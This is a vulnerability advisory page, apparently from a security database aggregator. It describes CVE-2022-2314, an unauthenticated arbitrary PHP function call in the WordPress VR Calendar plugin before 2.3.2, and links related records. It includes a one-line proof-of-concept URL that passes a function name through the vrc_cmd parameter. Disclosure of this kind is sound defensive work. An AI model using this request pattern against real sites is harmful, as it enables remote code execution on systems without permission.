Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbVinay Varma MudunuriWPVDB-ID:B22FE77C-844E-4C24-8023-014441CC1E82
HistoryJul 22, 2022 - 12:00 a.m.

VR Calendar < 2.3.2 - Unauthenticated Arbitrary Function Call

2022-07-2200:00:00
Vinay Varma Mudunuri
wpscan.com
65

0.319 Low

EPSS

Percentile

97.0%

JSON

The plugin lets any user execute arbitrary PHP functions on the site.

PoC

https://example.com/wp-admin/admin-post.php?vrc_cmd=phpinfo

CPENameOperatorVersion
vr-calendar-synceq*

Related

nvd 1
patchstack 1
prion 1
wpexploit 1
cvelist 1
cve 1
nuclei 1
nvd
nvd
CVE-2022-2314
2022-08-15 11:21:21
patchstack
patchstack
WordPress VR Calendar plugin < 2.3.1 - Unauthenticated Arbitrary Function Call vulnerability
2022-07-22 00:00:00
prion
prion
Design/Logic Flaw
2022-08-15 11:21:00
wpexploit
wpexploit
VR Calendar < 2.3.2 - Unauthenticated Arbitrary Function Call
2022-07-22 00:00:00
cvelist
cvelist
CVE-2022-2314 VR Calendar < 2.3.2 - Unauthenticated Arbitrary Function Call
2022-08-15 08:36:40
cve
cve
CVE-2022-2314
2022-08-15 11:21:21
nuclei
nuclei
WordPress VR Calendar <=2.3.2 - Remote Code Execution
2022-12-12 16:25:08

0.319 Low

EPSS

Percentile

97.0%

JSON
Related for WPVDB-ID:B22FE77C-844E-4C24-8023-014441CC1E82
nvd1patchstack1prion1wpexploit1cvelist1cve1nuclei1